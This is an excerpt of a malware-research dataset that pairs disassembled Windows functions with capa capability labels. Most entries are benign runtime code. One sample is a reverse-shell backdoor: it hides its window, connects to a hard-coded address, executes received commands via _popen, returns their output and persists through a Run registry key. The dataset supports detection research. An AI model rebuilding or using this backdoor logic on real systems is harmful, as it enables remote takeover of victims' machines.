joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140078cc0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sym.fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sym.read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078d08
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x140078cda
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14008c920
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x14008c948
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x14008c990
cdqe
add rsi, rax
sub rbx, rax
jne 0x14008c960
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x14008c99c
call rbp
cmp dword [rax], 4
je 0x14008c960
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1400b3c70
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b7f80]
jmp sym.__emutls_get_address

Function at 0x1400b3c80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b7f80]
jmp sym.__emutls_get_address
Function at 0x401671
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x80]
movabs rax, 0xa64656c696146
mov qword [rbp + 0x150], rax
lea rdx, [rbp + 0x158]
mov eax, 0
mov ecx, 0xf
mov rdi, rdx
rep stosq qword [rdi], rax
movabs rax, 0x2064657461657243
mov qword [rbp + 0xd0], rax
movabs rax, 0x6174736973726550
mov qword [rbp + 0xd8], rax
movabs rax, 0x203a74412065636e
mov qword [rbp + 0xe0], rax
movabs rax, 0x5255435f59454b48
mov qword [rbp + 0xe8], rax
movabs rax, 0x4553555f544e4552
mov qword [rbp + 0xf0], rax
movabs rax, 0x617774666f535c52
mov qword [rbp + 0xf8], rax
movabs rax, 0x6f7263694d5c6572
mov qword [rbp + 0x100], rax
movabs rax, 0x6e69575c74666f73
mov qword [rbp + 0x108], rax
movabs rax, 0x7275435c73776f64
mov qword [rbp + 0x110], rax
movabs rax, 0x73726556746e6572
mov qword [rbp + 0x118], rax
movabs rax, 0xa6e75525c6e6f69
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov dword [rbp + 0x1dc], 0
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x1dc], eax
cmp dword [rbp + 0x1dc], 0
jne 0x401804
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x40191d
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x40185a
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x40191d
mov eax, dword [rbp + 0x1dc]
mov dword [rbp + 0x1d8], eax
mov rcx, qword [rbp - 0x48]
mov eax, dword [rbp + 0x1d8]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.Hacked
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x4018de
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x40191d
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0xd0]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0
add rsp, 0x268
pop rdi
pop rbp
ret
Function at 0x401927
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x5000
call fcn.00403140
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x4b70]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4770]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x60]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x4b70]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_recv]
call rax
movzx edx, byte [0x00405035]
movzx eax, byte [rbp + 0x4b70]
movzx edx, dl
movzx eax, al
sub edx, eax
mov eax, edx
test eax, eax
jne 0x4019f8
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WSOCK32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x4b70]
mov r8d, 3
mov rdx, rax
lea rcx, [0x00405037]
call sym.strncmp
test eax, eax
jne 0x401a3f
lea rax, [rbp + 0x4b70]
mov r8d, 0x64
mov edx, 3
mov rcx, rax
call dbg.str_cut
mov rcx, rax
call sym.chdir
jmp 0x40193d
lea rax, [rbp + 0x4b70]
mov r8d, 7
mov rdx, rax
lea rcx, str.persist
call sym.strncmp
test eax, eax
jne 0x401a69
call dbg.bootRun
jmp 0x40193d
lea rax, [rbp + 0x4b70]
lea rdx, [0x00405043]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4f78], rax
jmp 0x401a9f
lea rdx, [rbp + 0x4770]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4f78]
lea rax, [rbp + 0x4770]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x401a8c
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov rax, qword [rbp + 0x4f78]
mov rcx, rax
call sym.fclose
jmp 0x40193d
Function at 0x401afd
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], rdx
mov qword [rbp + 0x190], r8
mov dword [rbp + 0x198], r9d
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rcx, str.ConsoleWindowClass
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.192.168.0.105
mov qword [rbp + 0x160], rax
mov word [rbp + 0x15e], 0xc355
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WSOCK32.dll_WSAStartup]
call rax
test eax, eax
je 0x401ba0
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WSOCK32.dll_socket]
call rax
mov edx, eax
lea rax, [0x00408970]
mov dword [rax], edx
lea rax, [rbp + 0x140]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x140], 2
mov rax, qword [rbp + 0x160]
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_inet_addr]
call rax
mov dword [rbp + 0x144], eax
movzx eax, word [rbp + 0x15e]
mov ecx, eax
mov rax, qword [sym.imp.WSOCK32.dll_htons]
call rax
mov word [rbp + 0x142], ax
nop
lea rax, [0x00408970]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x140]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_connect]
call rax
test eax, eax
je 0x401c52
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401c19
call dbg.Shell
nop
add rsp, 0x1f0
pop rbp
ret
Function at 0x402d80
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402d90
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402da0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402de1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402dd8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402de3
add rax, 0x28
cmp rax, r9
jne 0x402dc4
xor eax, eax
ret

Function at 0x402e80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004053a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402eed
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402eed
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402eed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402ee4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402eef
add rax, 0x28
cmp rax, r9
jne 0x402ed0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402ff0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004053a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403010
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403008
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40306d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403064
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403074
add rax, 0x28
cmp rax, r9
jne 0x403050
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403090
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004053a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x4030fe
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4030fe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x4030fe
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4030fe
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x4030f5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403105
add rcx, 0x28
cmp rcx, rax
jne 0x4030e0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403118
jmp 0x4030fe
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403126
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x4030fe
test r9d, r9d
jg 0x403110
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4033d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
sub rsp, 0x28
call sym.__main
mov rax, qword [0x00405410]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00405400]
mov r8, qword [rax]
mov rax, qword [0x004053f0]
mov rcx, qword [rax]
add rsp, 0x28
jmp dbg.WinMain

Function at 0x403410
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001bec
Capabilities:
Read file via mapping

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov r9d, edx
mov rdi, rcx
xor edx, edx
mov eax, r9d
div dword [rcx + 0x10]
mov ebx, edx
sub r9d, edx
add r8d, edx
mov qword [r11 - 0x48], r8
xor r8d, r8d
lea edx, [r8 + 6]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbp, rax
add rbx, rax
add rdi, 0x20
mov rsi, qword [rdi]
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x40], rcx
and dword [rsp + 0x48], 0
mov rax, rsi
jmp 0x140001c6f
mov qword [rsp + 0x40], rcx
cmp qword [rcx + 0x20], rbx
jae 0x140001c61
and dword [rsp + 0x48], 0
mov rcx, qword [rcx + 0x10]
jmp 0x140001c6f
mov dword [rsp + 0x48], 1
mov rax, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140001c4b
cmp byte [rax + 0x19], 0
jne 0x140001c81
cmp rbx, qword [rax + 0x20]
jae 0x140001cdb
movabs rax, 0x555555555555555
cmp qword [rdi + 8], rax
je 0x140001cf8
mov qword [rsp + 0x30], rdi
and qword [rsp + 0x38], 0
mov ecx, 0x30
call fcn.140018658
nop
mov qword [rax + 0x20], rbx
and qword [rax + 0x28], 0
mov qword [rax], rsi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rsi
and word [rax + 0x18], 0
movups xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rsp + 0x30], xmm0
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140002234
mov qword [rax + 0x28], rbp
mov rax, rbx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140001a8c
int3

Function at 0x1400033a8
Capabilities:
Read .ini file

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x858
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov rbp, rcx
mov qword [rsp + 0x38], rcx
and dword [rsp + 0x30], 0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x400
lea r9, [rsp + 0x40]
lea r8, [0x14001c4c8]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.1400048b0
mov dword [rsp + 0x30], 1
lea r8, [0x14001c634]
lea rdx, [0x14001c638]
mov rcx, rbp
call fcn.140004494
mov rax, rbp
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400183c0
add rsp, 0x858
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140003704
Capabilities:
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
call fcn.140001690
mov rcx, rax
test rax, rax
je 0x1400038ce
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [0x14001b738]
add rax, 0x18
mov qword [rsp + 0x48], rax
mov rcx, qword [rsi]
or ebp, 0xffffffff
cmp dword [rcx - 0x10], 0
jle 0x140003759
lea edx, [rbp + 0x3b]
call qword [sym.imp.VCRUNTIME140.dll_wcschr]
test rax, rax
jne 0x14000375d
mov eax, ebp
jmp 0x140003763
sub rax, qword [rsi]
sar rax, 1
lea edi, [rax + 2]
test eax, eax
cmovs edi, eax
mov rcx, qword [rsi]
test edi, edi
js 0x1400037e4
cmp edi, dword [rcx - 0x10]
jge 0x1400037e4
movsxd rax, edi
lea rcx, [rcx + rax*2]
mov edx, 0x5c
call qword [sym.imp.VCRUNTIME140.dll_wcschr]
mov rbx, rax
test rax, rax
je 0x1400037e4
sub rbx, qword [rsi]
sar rbx, 1
mov edi, ebx
test ebx, ebx
js 0x1400037e6
mov r8d, ebx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.140004318
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14000482c
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, ebp
test eax, eax
jg 0x1400037f3
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x14001b738]
jmp 0x1400037f3
mov edi, ebp
mov rdx, rsi
lea rcx, [rsp + 0x48]
call fcn.14000482c
xor edx, edx
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140003814
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003879
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x140003879
cmp edi, ebp
je 0x14000382c
inc edi
jmp 0x14000376b
lea rdx, [rbx - 0x18]
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, ebp
test eax, eax
jg 0x14000384e
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x14001b738]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov ecx, ebp
lock xadd dword [rdx + 0x10], ecx
add ecx, ebp
test ecx, ecx
jg 0x140003872
mov rcx, qword [rdx]
mov r8, qword [rcx]
mov rax, qword [r8 + 8]
call qword [0x14001b738]
mov eax, 1
jmp 0x1400038c1
lea rdx, [rbx - 0x18]
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, ebp
test eax, eax
jg 0x14000389b
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x14001b738]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, ebp
test eax, eax
jg 0x1400038bf
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x14001b738]
xor eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001500
int3
Function at 0x140003d04
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm7
call fcn.140002d00
mov rbx, rax
test rax, rax
je 0x140003ec9
lea rdx, str.PdhOpenQueryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PdhAddCounterW
mov rcx, rbx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PdhCollectQueryData
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PdhGetFormattedCounterValue
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PdhRemoveCounter
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PdhCloseQuery
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test r13, r13
je 0x140003ec0
test rdi, rdi
je 0x140003ec0
test rsi, rsi
je 0x140003ec0
test r12, r12
je 0x140003ec0
test r15, r15
je 0x140003ec0
test rax, rax
je 0x140003ec0
movsd xmm6, qword [0x14001e6e8]
lea r8, [rbp + 0x40]
and qword [rbp + 0x40], 0
xor edx, edx
and qword [rbp + 0x48], 0
xor ecx, ecx
mov rax, r13
call qword [0x14001b738]
test eax, eax
jne 0x140003e8e
mov rcx, qword [rbp + 0x40]
lea r9, [rbp + 0x48]
xor r8d, r8d
lea rdx, str.Processor__Total___Processor_Time
mov rax, rdi
call qword [0x14001b738]
test eax, eax
jne 0x140003e8e
mov rcx, qword [rbp + 0x40]
mov rax, rsi
call qword [0x14001b738]
test eax, eax
jne 0x140003e8e
xorps xmm7, xmm7
xor edi, edi
mov rcx, qword [rbp + 0x40]
mov rax, rsi
call qword [0x14001b738]
test eax, eax
jne 0x140003e8e
mov rcx, qword [rbp + 0x48]
lea r9, [rbp - 0x30]
xor r8d, r8d
mov edx, 0x8200
mov rax, r12
call qword [0x14001b738]
test eax, eax
jne 0x140003e8e
addsd xmm7, qword [rbp - 0x28]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x140003e3e
movaps xmm6, xmm7
divsd xmm6, qword [0x14001e6e0]
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x140003ea0
mov rax, r15
call qword [0x14001b738]
mov rcx, qword [rbp + 0x40]
test rcx, rcx
je 0x140003eb2
mov rax, r14
call qword [0x14001b738]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movaps xmm0, xmm6
jmp 0x140003ecc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
mov rbx, qword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003ef0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
xor esi, esi
test rcx, rcx
jne 0x140003f13
mov eax, 0x80070057
jmp 0x14000407c
mov qword [rcx], rsi
mov qword [rbp + 0x28], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
cmp eax, 0x80010106
jne 0x140003f37
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov ebx, eax
test ebx, ebx
js 0x140004064
mov qword [rbp + 0x20], rsi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea r9, [0x14001bba0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x14001bb90]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
test eax, eax
js 0x140004064
cmp qword [rbp + 0x20], rsi
je 0x140004064
mov ecx, 0x18
call fcn.140018658
mov rbx, rax
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140003fb6
mov qword [rax + 8], rsi
mov dword [rax + 0x10], 1
lea rcx, str.ROOTCIMV2
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140004097
jmp 0x140003fb9
mov rbx, rsi
mov qword [rbp + 0x30], rbx
test rbx, rbx
je 0x14000408c
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
lea rdx, [rbp + 0x28]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbx]
mov rax, qword [rax + 0x18]
call qword [0x14001b738]
mov ebx, eax
lea rcx, [rbp + 0x30]
call fcn.140002a58
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x14001b738]
mov qword [rbp + 0x20], rsi
test ebx, ebx
js 0x140004064
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000407a
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rsi
mov eax, 3
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea edx, [rax + 7]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov ebx, eax
test eax, eax
js 0x140004064
mov rax, qword [rbp + 0x28]
mov qword [rdi], rax
mov rcx, rsi
mov qword [rbp + 0x28], rcx
jmp 0x140004068
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000407a
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x14001b738]
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x8007000e
call fcn.140019580
nop
mov ecx, 0x8007000e
call fcn.140019580
int3
Function at 0x1400074dc
Capabilities:
Get process image filename

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov ebx, edx
mov rdi, rcx
mov qword [rsp + 0x38], rcx
and dword [rsp + 0x20], 0
mov rcx, qword [r8]
sub rcx, 0x18
call fcn.140001e5c
add rax, 0x18
mov qword [rdi], rax
mov dword [rsp + 0x20], 1
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000761f
mov r8d, 0x104
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x140007616
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.1400048b0
nop
mov edx, 0x5c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rcx, rax
test rax, rax
je 0x1400075f0
mov rax, qword [rsp + 0x28]
sub rcx, rax
sar rcx, 1
cmp ecx, 0xffffffff
je 0x1400075f5
lea r8d, [rcx + 1]
mov r9d, dword [rax - 0x10]
sub r9d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x28]
call fcn.1400043a8
mov dword [rsp + 0x20], 3
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.14000482c
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400075f0
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x14001b738]
mov rax, qword [rsp + 0x28]
lea rdx, [rax - 0x18]
or eax, 0xffffffff
